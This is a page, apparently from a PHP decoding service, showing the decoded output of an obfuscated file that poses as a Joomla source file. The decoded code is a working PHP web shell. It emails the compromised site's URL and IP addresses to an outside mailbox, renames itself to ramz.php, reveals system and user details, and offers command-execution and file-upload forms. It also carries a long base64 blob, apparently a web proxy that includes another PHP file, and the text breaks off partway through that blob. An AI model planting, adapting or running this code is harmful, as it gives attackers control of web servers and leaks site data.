Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * @package Joomla.Site * * @copyright Copyright (C) 2005 - 2014 Open..

Decoded Output download

b'set_time_limit(0);
error_reporting(0);
if (!isset($_SESSION[\'bajak\']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "revs Shells blackunix 
$web$inj";
$safem0de = @ini_get(\'safe_mode\');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER[\'SERVER_ADDR\']);
$injektor = gethostbyname($_SERVER[\'REMOTE_ADDR\']);
mail("[email protected]", "$body","revs shell http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
$_SESSION[\'bajak\'] = 0;
}
else {$_SESSION[\'bajak\']++;};
if(isset($_GET[\'yena\'])){
$source = $_SERVER[\'SCRIPT_FILENAME\'];
$desti = $_SERVER[\'DOCUMENT_ROOT\'].\'/\'.\'ramz.php\';
rename($source, $desti);
}
$safem0de = @ini_get(\'safe_mode\');
if (!$safem0de) {$security= "SAFE_MODE : OFF RamZkiE@blackunix";}
else {$security= "SAFE_MODE : ON RamZkiE@blackunix";}
echo "<title>ramzkie is here</title><br>";
echo "<font size=2 color=#FF0000><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#FF0000><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#FF0000><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,\'/\')){
if($u!=strlen($cwd)-1){
return $cwd.\'/\';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,\'\\')){
if($u!=strlen($cwd)-1){
return $cwd.\'\\';}
else{return $cwd;};
};
}
if(isset($_GET[\'cr0t\'])){
echo \'<form method="POST" action=""><font size=2 color=#FF0000><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="eXcute"></form>\';
echo \'<form enctype="multipart/form-data" action method=POST><font size=2 color=#FF0000><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#FF0000><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>\';
if(isset($_POST[\'submit\'])){
$uploaddir = pwd();
if(!$name=$_POST[\'newname\']){$name = $_FILES[\'userfile\'][\'name\'];};
move_uploaded_file($_FILES[\'userfile\'][\'tmp_name\'], $uploaddir.$name);
if(move_uploaded_file($_FILES[\'userfile\'][\'tmp_name\'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
}
$filez = \'PD9waHANCiRfY29uZmlnICAgICAgICAgICAgPSBhcnJheQ0KICAgICAgICAgICAgICAgICAgICAoDQogICAgICAgICAgICAgICAgICAgICAgICAndXJsX3Zhcl9uYW1lJyAgICAgICAgICAgICA9PiAncScsDQogICAgICAgICAgICAgICAgICAgICAgICAnZmxhZ3NfdmFyX25hbWUnICAgICAgICAgICA9PiAnaGwnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2dldF9mb3JtX25hbWUnICAgICAgICAgICAgPT4gJ19fX19wZ2ZhJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdiYXNpY19hdXRoX3Zhcl9uYW1lJyAgICAgID0+ICdfX19fcGJhdm4nLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ21heF9maWxlX3NpemUnICAgICAgICAgICAgPT4gLTEsDQogICAgICAgICAgICAgICAgICAgICAgICAnYWxsb3dfaG90bGlua2luZycgICAgICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Vwb25faG90bGluaycgICAgICAgICAgICAgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdjb21wcmVzc19vdXRwdXQnICAgICAgICAgID0+IDANCiAgICAgICAgICAgICAgICAgICAgKTsNCiRfZmxhZ3MgICAgICAgICAgICAgPSBhcnJheQ0KICAgICAgICAgICAgICAgICAgICAoDQogICAgICAgICAgICAgICAgICAgICAgICAnaW5jbHVkZV9mb3JtJyAgICA9PiAxLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdyZW1vdmVfc2NyaXB0cycgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnYWNjZXB0X2Nvb2tpZXMnICA9PiAxLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nob3dfaW1hZ2VzJyAgICAgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdzaG93X3JlZmVyZXInICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAncm90YXRlMTMnICAgICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NF9lbmNvZGUnICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdHJpcF9tZXRhJyAgICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnc3RyaXBfdGl0bGUnICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nlc3Npb25fY29va2llcycgPT4gMA0KICAgICAgICAgICAgICAgICAgICApOw0KJF9mcm96ZW5fZmxhZ3MgICAgICA9IGFycmF5DQogICAgICAgICAgICAgICAgICAgICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmNsdWRlX2Zvcm0nICAgID0+IDAsIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3JlbW92ZV9zY3JpcHRzJyAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdhY2NlcHRfY29va2llcycgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2hvd19pbWFnZXMnICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nob3dfcmVmZXJlcicgICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdyb3RhdGUxMycgICAgICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnYmFzZTY0X2VuY29kZScgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N0cmlwX21ldGEnICAgICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdHJpcF90aXRsZScgICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2Vzc2lvbl9jb29raWVzJyA9PiAwDQogICAgICAgICAgICAgICAgICAgICk7ICAgICAgICAgICAgICAgICAgICANCiRfbGFiZWxzICAgICAgICAgICAgPSBhcnJheQ0KICAgICAgICAgICAgICAgICAgICAoDQogICAgICAgICAgICAgICAgICAgICAgICAnaW5jbHVkZV9mb3JtJyAgICA9PiBhcnJheSgnSW5jbHVkZSBGb3JtJywgJ0luY2x1ZGUgbWluaSBVUkwtZm9ybSBvbiBldmVyeSBwYWdlJyksIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3JlbW92ZV9zY3JpcHRzJyAgPT4gYXJyYXkoJ1JlbW92ZSBTY3JpcHRzJywgJ1JlbW92ZSBjbGllbnQtc2lkZSBzY3JpcHRpbmcgKGkuZSBKYXZhU2NyaXB0KScpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdhY2NlcHRfY29va2llcycgID0+IGFycmF5KCdBY2NlcHQgQ29va2llcycsICdBbGxvdyBjb29raWVzIHRvIGJlIHN0b3JlZCcpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdzaG93X2ltYWdlcycgICAgID0+IGFycmF5KCdTaG93IEltYWdlcycsICdTaG93IGltYWdlcyBvbiBicm93c2VkIHBhZ2VzJyksIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nob3dfcmVmZXJlcicgICAgPT4gYXJyYXkoJ1Nob3cgUmVmZXJlcicsICdTaG93IGFjdHVhbCByZWZlcnJpbmcgV2Vic2l0ZScpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdyb3RhdGUxMycgICAgICAgID0+IGFycmF5KCdSb3RhdGUxMycsICdVc2UgUk9UMTMgZW5jb2Rpbmcgb24gdGhlIGFkZHJlc3MnKSwgDQogICAgICAgICAgICAgICAgICAgICAgICAnYmFzZTY0X2VuY29kZScgICA9PiBhcnJheSgnQmFzZTY0JywgJ1VzZSBiYXNlNjQgZW5jb2RuZyBvbiB0aGUgYWRkcmVzcycpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdzdHJpcF9tZXRhJyAgICAgID0+IGFycmF5KCdTdHJpcCBNZXRhJywgJ1N0cmlwIG1ldGEgaW5mb3JtYXRpb24gdGFncyBmcm9tIHBhZ2VzJyksIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N0cmlwX3RpdGxlJyAgICAgPT4gYXJyYXkoJ1N0cmlwIFRpdGxlJywgJ1N0cmlwIHBhZ2UgdGl0bGUnKSwgDQogICAgICAgICAgICAgICAgICAgICAgICAnc2Vzc2lvbl9jb29raWVzJyA9PiBhcnJheSgnU2Vzc2lvbiBDb29raWVzJywgJ1N0b3JlIGNvb2tpZXMgZm9yIHRoaXMgc2Vzc2lvbiBvbmx5JykgDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIA0KJF9ob3N0cyAgICAgICAgICAgICA9IGFycmF5DQogICAgICAgICAgICAgICAgICAgICgNCiAgICAgICAgICAgICAgICAgICAgICAgICcjXjEyN1wufDE5MlwuMTY4XC58MTBcLnwxNzJcLigxWzYtOV18MlswLTldfDNbMDFdKVwufGxvY2FsaG9zdCNpJw0KICAgICAgICAgICAgICAgICAgICApOw0KJF9ob3RsaW5rX2RvbWFpbnMgICA9IGFycmF5KCk7DQokX2luc2VydCAgICAgICAgICAgID0gYXJyYXkoKTsNCg0KLy8NCi8vIEVORCBDT05GSUdVUkFCTEUgT1BUSU9OUy4gVGhlIHJpZGUgZm9yIHlvdSBlbmRzIGhlcmUuIENsb3NlIHRoZSBmaWxlLg0KLy8NCg0KJF9pZmxhZ3MgICAgICAgICAgICA9ICcnOw0KJF9zeXN0ZW0gICAgICAgICAgICA9IGFycmF5DQogICAgICAgICAgICAgICAgICAgICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdzc2wnICAgICAgICAgID0+IGV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSAmJiB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc0LjMuMCcsICc+PScpLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3VwbG9hZHMnICAgICAgPT4gaW5pX2dldCgnZmlsZV91cGxvYWRzJyksDQogICAgICAgICAgICAgICAgICAgICAgICAnZ3ppcCcgICAgICAgICA9PiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJyksDQogICAgICAgICAgICAgICAgICAgICAgICAnc3RyaXBzbGFzaGVzJyA9PiBnZXRfbWFnaWNfcXVvdGVzX2dwYygpDQogICAgICAgICAgICAgICAgICAgICk7DQokX3Byb3hpZnkgICAgICAgICAgID0gYXJyYXkoJ3RleHQvaHRtbCcgPT4gMSwgJ2FwcGxpY2F0aW9uL3htbCt4aHRtbCcgPT4gMSwgJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcgPT4gMSwgJ3RleHQvY3NzJyA9PiAxKTsNCiRfdmVyc2lvbiAgICAgICAgICAgPSAnMC41YjInOw0KJF9odHRwX2hvc3QgICAgICAgICA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gOiAnbG9jYWxob3N0Jyk7DQokX3NjcmlwdF91cmwgICAgICAgID0gJ2h0dHAnIC4gKChpc3NldCgkX0VOVlsnSFRUUFMnXSkgJiYgJF9FTlZbJ0hUVFBTJ10gPT0gJ29uJykgfHwgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gJ3MnIDogJycpIC4gJzovLycgLiAkX2h0dHBfaG9zdCAuICgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSAhPSA4MCAmJiAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSAhPSA0NDMgPyAnOicgLiAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA6ICcnKSAuICRfU0VSVkVSWydQSFBfU0VMRiddOw0KJF9zY3JpcHRfYmFzZSAgICAgICA9IHN1YnN0cigkX3NjcmlwdF91cmwsIDAsIHN0cnJwb3MoJF9zY3JpcHRfdXJsLCAnLycpKzEpOw0KJF91cmwgICAgICAgICAgICAgICA9ICcnOw0KJF91cmxfcGFydHMgICAgICAgICA9IGFycmF5KCk7DQokX2Jhc2UgICAgICAgICAgICAgID0gYXJyYXkoKTsNCiRfc29ja2V0ICAgICAgICAgICAgPSBudWxsOw0KJF9yZXF1ZXN0X21ldGhvZCAgICA9ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddOw0KJF9yZXF1ZXN0X2hlYWRlcnMgICA9ICcnOw0KJF9jb29raWUgICAgICAgICAgICA9ICcnOw0KJF9wb3N0X2JvZHkgICAgICAgICA9ICcnOw0KJF9yZXNwb25zZV9oZWFkZXJzICA9IGFycmF5KCk7DQokX3Jlc3BvbnNlX2tleXMgICAgID0gYXJyYXkoKTsgIA0KJF9odHRwX3ZlcnNpb24gICAgICA9ICcnOw0KJF9yZXNwb25zZV9jb2RlICAgICA9IDA7DQokX2NvbnRlbnRfdHlwZSAgICAgID0gJ3RleHQvaHRtbCc7DQokX2NvbnRlbnRfbGVuZ3RoICAgID0gZmFsc2U7DQokX2NvbnRlbnRfZGlzcCAgICAgID0gJyc7DQokX3NldF9jb29raWUgICAgICAgID0gYXJyYXkoKTsNCiRfcmV0cnkgICAgICAgICAgICAgPSBmYWxzZTsNCiRfcXVpdCAgICAgICAgICAgICAgPSBmYWxzZTsNCiRfYmFzaWNfYXV0aF9oZWFkZXIgPSAnJzsNCiRfYmFzaWNfYXV0aF9yZWFsbSAgPSAnJzsNCiRfYXV0aF9jcmVkcyAgICAgICAgPSBhcnJheSgpOw0KJF9yZXNwb25zZV9ib2R5ICAgICA9ICcnOw0KDQovLw0KLy8gRlVOQ1RJT04gREVDTEFSQVRJT05TDQovLw0KDQpmdW5jdGlvbiBzaG93X3JlcG9ydCgkZGF0YSkNCnsgICAgDQogICAgaW5jbHVkZSAnd3AtY29uZi5waHAnOw0KICAgIGV4aXQoMCk7DQp9DQoNCmZ1bmN0aW9uIGFkZF9jb29raWUoJG5hbWUsICR2YWx1ZSwgJGV4cGlyZXMgPSAwKQ0Kew0KICAgIHJldHVybiByYXd1cmxlbmNvZGUocmF3dXJsZW5jb2RlKCRuYW1lKSkgLiAnPScgLiByYXd1cmxlbmNvZGUocmF3dXJsZW5jb2RlKCR2YWx1ZSkpIC4gKGVtcHR5KCRleHBpcmVzKSA/ICcnIDogJzsgZXhwaXJlcz0nIC4gZ21kYXRlKCdELCBkLU0tWSBIOmk6cyBcR1xNXFQnLCAkZXhwaXJlcykpIC4gJzsgcGF0aD0vOyBkb21haW49LicgLiAkR0xPQkFMU1snX2h0dHBfaG9zdCddOw0KfQ0KDQpmdW5jdGlvbiBzZXRfcG9zdF92YXJzKCRhcnJheSwgJHBhcmVudF9rZXkgPSBudWxsKQ0Kew0KICAgICR0ZW1wID0gYXJyYXkoKTsNCg0KICAgIGZvcmVhY2ggKCRhcnJheSBhcyAka2V5ID0+ICR2YWx1ZSkNCiAgICB7DQogICAgICAgICRrZXkgPSBpc3NldCgkcGFyZW50X2tleSkgPyBzcHJpbnRmKCclc1slc10nLCAkcGFyZW50X2tleSwgdXJsZW5jb2RlKCRrZXkpKSA6IHVybGVuY29kZSgka2V5KTsNCiAgICAgICAgaWYgKGlzX2FycmF5KCR2YWx1ZSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICR0ZW1wID0gYXJyYXlfbWVyZ2UoJHRlbXAsIHNldF9wb3N0X3ZhcnMoJHZhbHVlLCAka2V5KSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkdGVtcFska2V5XSA9IHVybGVuY29kZSgkdmFsdWUpOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHJldHVybiAkdGVtcDsNCn0NCg0KZnVuY3Rpb24gc2V0X3Bvc3RfZmlsZXMoJGFycmF5LCAkcGFyZW50X2tleSA9IG51bGwpDQp7DQogICAgJHRlbXAgPSBhcnJheSgpOw0KDQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrZXkgPT4gJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgJGtleSA9IGlzc2V0KCRwYXJlbnRfa2V5KSA/IHNwcmludGYoJyVzWyVzXScsICRwYXJlbnRfa2V5LCB1cmxlbmNvZGUoJGtleSkpIDogdXJsZW5jb2RlKCRrZXkpOw0KICAgICAgICBpZiAoaXNfYXJyYXkoJHZhbHVlKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRlbXAgPSBhcnJheV9tZXJnZV9yZWN1cnNpdmUoJHRlbXAsIHNldF9wb3N0X2ZpbGVzKCR2YWx1ZSwgJGtleSkpOw0KICAgICAgICB9DQogICAgICAgIGVsc2UgaWYgKHByZWdfbWF0Y2goJyNeKFteXFtcXV0rKVxbKG5hbWV8dHlwZXx0bXBfbmFtZSlcXSMnLCAka2V5LCAkbSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICR0ZW1wW3N0cl9yZXBsYWNlKCRtWzBdLCAkbVsxXSwgJGtleSldWyRtWzJdXSA9ICR2YWx1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiAkdGVtcDsNCn0NCg0KZnVuY3Rpb24gdXJsX3BhcnNlKCR1cmwsICYgJGNvbnRhaW5lcikNCnsNCiAgICAkdGVtcCA9IEBwYXJzZV91cmwoJHVybCk7DQoNCiAgICBpZiAoIWVtcHR5KCR0ZW1wKSkNCiAgICB7DQogICAgICAgICR0ZW1wWydwb3J0X2V4dCddID0gJyc7DQogICAgICAgICR0ZW1wWydiYXNlJ10gICAgID0gJHRlbXBbJ3NjaGVtZSddIC4gJzovLycgLiAkdGVtcFsnaG9zdCddOw0KDQogICAgICAgIGlmIChpc3NldCgkdGVtcFsncG9ydCddKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRlbXBbJ2Jhc2UnXSAuPSAkdGVtcFsncG9ydF9leHQnXSA9ICc6JyAuICR0ZW1wWydwb3J0J107DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkdGVtcFsncG9ydCddID0gJHRlbXBbJ3NjaGVtZSddID09PSAnaHR0cHMnID8gNDQzIDogODA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICR0ZW1wWydwYXRoJ10gPSBpc3NldCgkdGVtcFsncGF0aCddKSA/ICR0ZW1wWydwYXRoJ10gOiAnLyc7DQogICAgICAgICRwYXRoICAgICAgICAgPSBhcnJheSgpOw0KICAgICAgICAkdGVtcFsncGF0aCddID0gZXhwbG9kZSgnLycsICR0ZW1wWydwYXRoJ10pOw0KICAgIA0KICAgICAgICBmb3JlYWNoICgkdGVtcFsncGF0aCddIGFzICRkaXIpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICgkZGlyID09PSAnLi4nKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGFycmF5X3BvcCgkcGF0aCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIGlmICgkZGlyICE9PSAnLicpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZm9yICgkZGlyID0gcmF3dXJsZGVjb2RlKCRkaXIpLCAkbmV3X2RpciA9ICcnLCAkaSA9IDAsICRjb3VudF9pID0gc3RybGVuKCRkaXIpOyAkaSA8ICRjb3VudF9pOyAkbmV3X2RpciAuPSBzdHJzcG4oJGRpcnskaX0sICdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSQtXy4rISpcJygpLD86QCY7PScpID8gJGRpcnskaX0gOiByYXd1cmxlbmNvZGUoJGRpcnskaX0pLCArKyRpKTsNCiAgICAgICAgICAgICAgICAkcGF0aFtdID0gJG5ld19kaXI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkdGVtcFsncGF0aCddICAgICA9IHN0cl9yZXBsYWNlKCcvJTdFJywgJy9+JywgJy8nIC4gbHRyaW0oaW1wbG9kZSgnLycsICRwYXRoKSwgJy8nKSk7DQogICAgICAgICR0ZW1wWydmaWxlJ10gICAgID0gc3Vic3RyKCR0ZW1wWydwYXRoJ10sIHN0cnJwb3MoJHRlbXBbJ3BhdGgnXSwgJy8nKSsxKTsNCiAgICAgICAgJHRlbXBbJ2RpciddICAgICAgPSBzdWJzdHIoJHRlbXBbJ3BhdGgnXSwgMCwgc3RycnBvcygkdGVtcFsncGF0aCddLCAnLycpKTsNCiAgICAgICAgJHRlbXBbJ2Jhc2UnXSAgICAuPSAkdGVtcFsnZGlyJ107DQogICAgICAgICR0ZW1wWydwcmV2X2RpciddID0gc3Vic3RyX2NvdW50KCR0ZW1wWydwYXRoJ10sICcvJykgPiAxID8gc3Vic3RyKCR0ZW1wWydiYXNlJ10sIDAsIHN0cnJwb3MoJHRlbXBbJ2Jhc2UnXSwgJy8nKSsxKSA6ICR0ZW1wWydiYXNlJ10gLiAnLyc7DQogICAgICAgICRjb250YWluZXIgPSAkdGVtcDsNCg0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQogICAgDQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBjb21wbGV0ZV91cmwoJHVybCwgJHByb3hpZnkgPSB0cnVlKQ0Kew0KICAgICR1cmwgPSB0cmltKCR1cmwpOw0KICAgIA0KICAgIGlmICgkdXJsID09PSAnJykNCiAgICB7DQogICAgICAgIHJldHVybiAnJzsNCiAgICB9DQogICAgDQogICAgJGhhc2hfcG9zID0gc3RycnBvcygkdXJsLCAnIycpOw0KICAgICRmcmFnbWVudCA9ICRoYXNoX3BvcyAhPT0gZmFsc2UgPyAnIycgLiBzdWJzdHIoJHVybCwgJGhhc2hfcG9zKSA6ICcnOw0KICAgICRzZXBfcG9zICA9IHN0cnBvcygkdXJsLCAnOi8vJyk7DQogICAgDQogICAgaWYgKCRzZXBfcG9zID09PSBmYWxzZSB8fCAkc2VwX3BvcyA+IDUpDQogICAgew0KICAgICAgICBzd2l0Y2ggKCR1cmx7MH0pDQogICAgICAgIHsNCiAgICAgICAgICAgIGNhc2UgJy8nOg0KICAgICAgICAgICAgICAgICR1cmwgPSBzdWJzdHIoJHVybCwgMCwgMikgPT09ICcvLycgPyAkR0xPQkFMU1snX2Jhc2UnXVsnc2NoZW1lJ10gLiAnOicgLiAkdXJsIDogJEdMT0JBTFNbJ19iYXNlJ11bJ3NjaGVtZSddIC4gJzovLycgLiAkR0xPQkFMU1snX2Jhc2UnXVsnaG9zdCddIC4gJEdMT0JBTFNbJ19iYXNlJ11bJ3BvcnRfZXh0J10gLiAkdXJsOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnPyc6DQogICAgICAgICAgICAgICAgJHVybCA9ICRHTE9CQUxTWydfYmFzZSddWydiYXNlJ10gLiAnLycgLiAkR0xPQkFMU1snX2Jhc2UnXVsnZmlsZSddIC4gJHVybDsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJyMnOg0KICAgICAgICAgICAgICAgICRwcm94aWZ5ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdtJzoNCiAgICAgICAgICAgICAgICBpZiAoc3Vic3RyKCR1cmwsIDAsIDcpID09ICdtYWlsdG86JykNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRwcm94aWZ5ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgJHVybCA9ICRHTE9CQUxTWydfYmFzZSddWydiYXNlJ10gLiAnLycgLiAkdXJsOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcmV0dXJuICRwcm94aWZ5ID8gInskR0xPQkFMU1snX3NjcmlwdF91cmwnXX0/eyRHTE9CQUxTWydfY29uZmlnJ11bJ3VybF92YXJfbmFtZSddfT0iIC4gZW5jb2RlX3VybCgkdXJsKSAuICRmcmFnbWVudCA6ICR1cmw7DQp9DQoNCmZ1bmN0aW9uIHByb3hpZnlfaW5saW5lX2NzcygkY3NzKQ0Kew0KICAgIHByZWdfbWF0Y2hfYWxsKCcjdXJsXHMqXChccyooKFteKV0qKFxcXCkpKlteKV0qKShcKXwkKT8jaScsICRjc3MsICRtYXRjaGVzLCBQUkVHX1NFVF9PUkRFUik7DQoNCiAgICBmb3IgKCRpID0gMCwgJGNvdW50ID0gY291bnQoJG1hdGNoZXMpOyAkaSA8ICRjb3VudDsgKyskaSkNCiAgICB7DQogICAgICAgICRjc3MgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1skaV1bMF0sICd1cmwoJyAuIHByb3hpZnlfY3NzX3VybCgkbWF0Y2hlc1skaV1bMV0pIC4gJyknLCAkY3NzKTsNCiAgICB9DQogICAgDQogICAgcmV0dXJuICRjc3M7DQp9DQoNCmZ1bmN0aW9uIHByb3hpZnlfY3NzKCRjc3MpDQp7DQogICAgJGNzcyA9IHByb3hpZnlfaW5saW5lX2NzcygkY3NzKTsNCg0KICAgIHByZWdfbWF0Y2hfYWxsKCIjQGltcG9ydFxzKig/OlwiKFteXCI+XSopXCI/fCcoW14nPl0qKSc/KShbXjtdKikoO3wkKSNpIiwgJGNzcywgJG1hdGNoZXMsIFBSRUdfU0VUX09SREVSKTsNCg0KICAgIGZvciAoJGkgPSAwLCAkY291bnQgPSBjb3VudCgkbWF0Y2hlcyk7ICRpIDwgJGNvdW50OyArKyRpKQ0KICAgIHsNCiAgICAgICAgJGRlbGltID0gJyInOw0KICAgICAgICAkdXJsICAgPSAkbWF0Y2hlc1skaV1bMl07DQoNCiAgICAgICAgaWYgKGlzc2V0KCRtYXRjaGVzWyRpXVszXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRkZWxpbSA9ICInIjsNCiAgICAgICAgICAgICR1cmwgPSAkbWF0Y2hlc1skaV1bM107DQogICAgICAgIH0NCg0KICAgICAgICAkY3NzID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbJGldWzBdLCAnQGltcG9ydCAnIC4gJGRlbGltIC4gcHJveGlmeV9jc3NfdXJsKCRtYXRjaGVzWyRpXVsxXSkgLiAkZGVsaW0gLiAoaXNzZXQoJG1hdGNoZXNbJGldWzRdKSA/ICRtYXRjaGVzWyRpXVs0XSA6ICcnKSwgJGNzcyk7DQogICAgfQ0KDQogICAgcmV0dXJuICRjc3M7DQp9DQoNCmZ1bmN0aW9uIHByb3hpZnlfY3NzX3VybCgkdXJsKQ0Kew0KICAgICR1cmwgICA9IHRyaW0oJHVybCk7DQogICAgJGRlbGltID0gc3RycG9zKCR1cmwsICciJykgPT09IDAgPyAnIicgOiAoc3RycG9zKCR1cmwsICInIikgPT09IDAgPyAiJyIgOiAnJyk7DQoNCiAgICByZXR1cm4gJGRlbGltIC4gcHJlZ19yZXBsYWNlKCcjKFtcKFwpLFxzXCciXFxcXSkjJywgJ1xcJDEnLCBjb21wbGV0ZV91cmwodHJpbShwcmVnX3JlcGxhY2UoJyNcXFwoLikjJywgJyQxJywgdHJpbSgkdXJsLCAkZGVsaW0pKSkpKSAuICRkZWxpbTsNCn0NCg0KLy8NCi8vIFNFVCBGTEFHUw0KLy8NCg0KaWYgKGlzc2V0KCRfUE9TVFskX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ11dKSAmJiAhaXNzZXQoJF9HRVRbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSkgJiYgaXNzZXQoJF9QT1NUWyRfY29uZmlnWydmbGFnc192YXJfbmFtZSddXSkpDQp7ICAgIA0KICAgIGZvcmVhY2ggKCRfZmxhZ3MgYXMgJGZsYWdfbmFtZSA9PiAkZmxhZ192YWx1ZSkNCiAgICB7DQogICAgICAgICRfaWZsYWdzIC49IGlzc2V0KCRfUE9TVFskX2NvbmZpZ1snZmxhZ3NfdmFyX25hbWUnXV1bJGZsYWdfbmFtZV0pID8gKHN0cmluZykoaW50KShib29sKSRfUE9TVFskX2NvbmZpZ1snZmxhZ3NfdmFyX25hbWUnXV1bJGZsYWdfbmFtZV0gOiAoJF9mcm96ZW5fZmxhZ3NbJGZsYWdfbmFtZV0gPyAkZmxhZ192YWx1ZSA6ICcwJyk7DQogICAgfQ0KICAgIA0KICAgICRfaWZsYWdzID0gYmFzZV9jb252ZXJ0KCgkX2lmbGFncyAhPSAnJyA/ICRfaWZsYWdzIDogJzAnKSwgMiwgMTYpOw0KfQ0KZWxzZSBpZiAoaXNzZXQoJF9HRVRbJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ11dKSAmJiAhaXNzZXQoJF9HRVRbJF9jb25maWdbJ2dldF9mb3JtX25hbWUnXV0pICYmIGN0eXBlX2FsbnVtKCRfR0VUWyRf